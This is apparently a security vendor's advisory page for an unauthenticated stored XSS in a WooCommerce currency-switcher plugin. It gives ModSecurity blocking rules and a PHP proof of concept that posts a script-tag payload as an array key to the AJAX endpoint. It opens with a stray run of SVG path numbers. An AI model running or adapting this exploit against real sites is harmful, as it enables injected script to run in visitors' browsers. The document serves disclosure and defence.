0.5c-0.6 0.2-0.6 0.2 0 0.8 0.3 0.3 0.9 0.6 1.3 0.6s0.8 0.1 0.9 0.3 0.5 0.3 0.9 0.3 1.3 0.2 2 0.5c1.8 0.6 10.6 0.7 11.7 0 0.4-0.3 1.2-0.5 1.7-0.5s1-0.2 1.1-0.3c0.1-0.2 0.5-0.3 0.8-0.3s1.3-0.4 2.1-0.9 1.8-1 2.2-1.2c2.3-1.2 5.8-4.3 8.1-6.9 2.9-3.5 3.2-3.9 4.9-7.4 0.9-1.8 1.8-3.6 1.9-3.9 0.2-0.3 0.3-0.9 0.3-1.3s0.2-0.9 0.3-1.1c0.7-0.7 1.6-5.5 1.9-10.3 0.3-5.4 1.4-4.4 2.3 2.2 0.2 1.1 0.4 2.6 0.6 3.2 0.7 2.3 0.2 8.5-1 12.8-2.1 7.4-7.4 13.1-14.9 16-1.9 0.7-3.4 1.1-6.5 1.6-4.4 0.7-5.7 0.9-6.3 1.3-0.4 0.2-1 0.3-1.5 0.3-0.4 0-0.9 0.1-1 0.3s-0.5 0.3-0.8 0.3c-0.6 0-0.8 0.1-2.8 1.1-0.6 0.3-1.3 0.5-1.5 0.5-0.3 0-0.7 0.1-1 0.3-1 0.5-3.7 1.3-4.4 1.3-0.4 0-0.8 0.1-1 0.3-0.3 0.8-7.7 1-10.7 0.7zm-54.1-35.9c-0.5-0.8-1-1.4-1.1-1.5s-0.8-1-1.5-1.9c-1.4-1.9-6.8-7.2-10.1-9.9-4.1-3.3-9.7-6.8-16-9.9-1.9-1-3.8-1.9-4.1-2-0.3-0.2-0.8-0.3-1-0.3s-0.6-0.2-0.8-0.5-0.7-0.5-1-0.5-0.9-0.1-1.2-0.3-1-0.5-1.5-0.7c-1.6-0.6-3.2-1.3-3.8-1.6-0.3-0.2-0.8-0.3-1.2-0.3s-0.7-0.1-0.8-0.3-0.5-0.3-0.9-0.3-1-0.2-1.3-0.5-0.9-0.5-1.3-0.5-0.8-0.2-0.9-0.3c-0.1-0.2-0.6-0.3-1-0.3-1 0-2.8-0.9-2.5-1.3 0.3-0.5 6.8-0.4 8.6 0.2 0.9 0.3 2.1 0.5 2.8 0.5s1.3 0.1 1.4 0.3 0.6 0.3 1.1 0.3 1 0.1 1.1 0.3 0.5 0.3 0.9 0.3 1 0.2 1.3 0.4 1.2 0.6 1.9 0.8c1.8 0.6 7.5 3.2 9.4 4.3 0.4 0.3 1 0.6 1.3 0.7 0.8 0.3 6 3.6 6.4 4 0.1 0.1 0.6 0.4 1.1 0.8s1.5 1.1 2.2 1.6c1.7 1.3 10.1 9.5 10.1 9.9 0 0.2 0.4 0.7 0.8 1.3s0.8 1.2 0.8 1.4 0.1 0.4 0.3 0.4 0.3 0.3 0.3 0.6 0.1 0.7 0.2 0.8c0.4 0.4 1.4 3.2 1.4 4.1 0 1.4-0.5 1.4-1.4-0.1zm96 0.6c-0.1-0.3 0-1.1 0.3-1.8 0.7-1.7 0.7-10.3 0-11.5-0.3-0.4-0.5-1.3-0.5-1.8 0-0.6-0.1-1.3-0.3-1.6s-0.5-1.2-0.8-2c-1.6-4.8-1.6-4.7-2.6-6.7-0.5-0.9-0.8-1.9-0.8-2.1s-0.5-1.5-1.2-2.8c-0.6-1.3-1.3-2.7-1.4-3-0.3-0.8-1.9-4.3-2.3-5-0.2-0.3-0.3-0.8-0.3-1.2 0-0.3-0.2-0.8-0.5-1s-0.5-0.7-0.5-1-0.1-0.7-0.3-0.8-0.3-0.5-0.3-0.8c0-0.6-0.1-0.9-1.1-2.7-0.3-0.6-0.5-1.4-0.5-1.8s-0.1-0.9-0.3-1c-0.3-0.2-0.4-0.7-0.9-4.2-0.2-1.1-0.5-2.4-0.7-2.9-0.5-1.3-0.5-14.7 0-16 0.2-0.5 0.5-1.6 0.7-2.4 0.7-3.5 0.8-3.9 1.8-5.9 0.2-0.5 0.5-1.1 0.5-1.4s0.1-0.7 0.3-1 0.9-1.8 1.6-3.3 2.3-4 3.4-5.6 2.4-3.4 2.8-4c1.4-2 6.5-7 8.5-8.3 2.9-1.8 7.7-4.1 9.8-4.6 5.7-1.3 10.6-1.7 15.6-1.2 5.3 0.5 6.7 0.7 7.1 1 0.2 0.2 0.6 0.3 0.9 0.3 0.6 0 2 0.4 4.2 1.3 2.9 1.1 7.8 3.9 7.8 4.5 0 0.2-0.3 0.4-0.6 0.6-0.5 0.2-1 0.1-2.3-0.5-2.2-1.1-5.4-1.2-7-0.3-1.7 1-3.6 3-5.3 5.9-4.1 6.6-6.3 9.2-10.2 11.7-1.7 1.1-4.5 2.4-5 2.4-0.3 0-0.6 0.1-0.7 0.3

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-57319
# Blocks unauthenticated Stored XSS via the woocs_get_products_price AJAX action
# by detecting unsanitized array keys containing script tags
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-57319: FOX Currency Switcher XSS via products_ids',severity:'CRITICAL',tag:'CVE-2026-57319'"
  SecRule ARGS_POST:action "@streq woocs_get_products_price" 
    "chain"
    SecRule ARGS_POST:products_ids "@rx <script" 
      "t:urlDecode,t:lowercase,id:20261995"

# Also block for the variation endpoint
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261996,phase:2,deny,status:403,chain,msg:'CVE-2026-57319: FOX Currency Switcher XSS via var_products_ids',severity:'CRITICAL',tag:'CVE-2026-57319'"
  SecRule ARGS_POST:action "@streq woocs_get_variation_products_price" 
    "chain"
    SecRule ARGS_POST:var_products_ids "@rx <script" 
      "t:urlDecode,t:lowercase,id:20261997"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57319 - FOX – Currency Switcher Professional for WooCommerce <= 1.4.8 - Unauthenticated Stored Cross-Site Scripting

// Configuration
$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress URL

// XSS payload to test
$xss_payload = '"><script>alert("AtomicEdge_XSS")</script>';

// Prepare POST data for the AJAX action woocs_get_products_price
$post_data = array(
    'action' => 'woocs_get_products_price',
    'currency' => 'USD',
    'products_ids' => array(
        $xss_payload => '1'
    )
);

// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));

// Execute the request
$response = curl_exec($ch);

// Check for errors
if (curl_errno($ch)) {
    echo 'cURL error: ' . curl_error($ch) . "n";
} else {
    // Output the response to confirm injection
    echo "Response received:n";
    echo $response . "n";
    echo "nIf the response contains the XSS payload ('><script>...), the attack is successful.n";
}

curl_close($ch);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.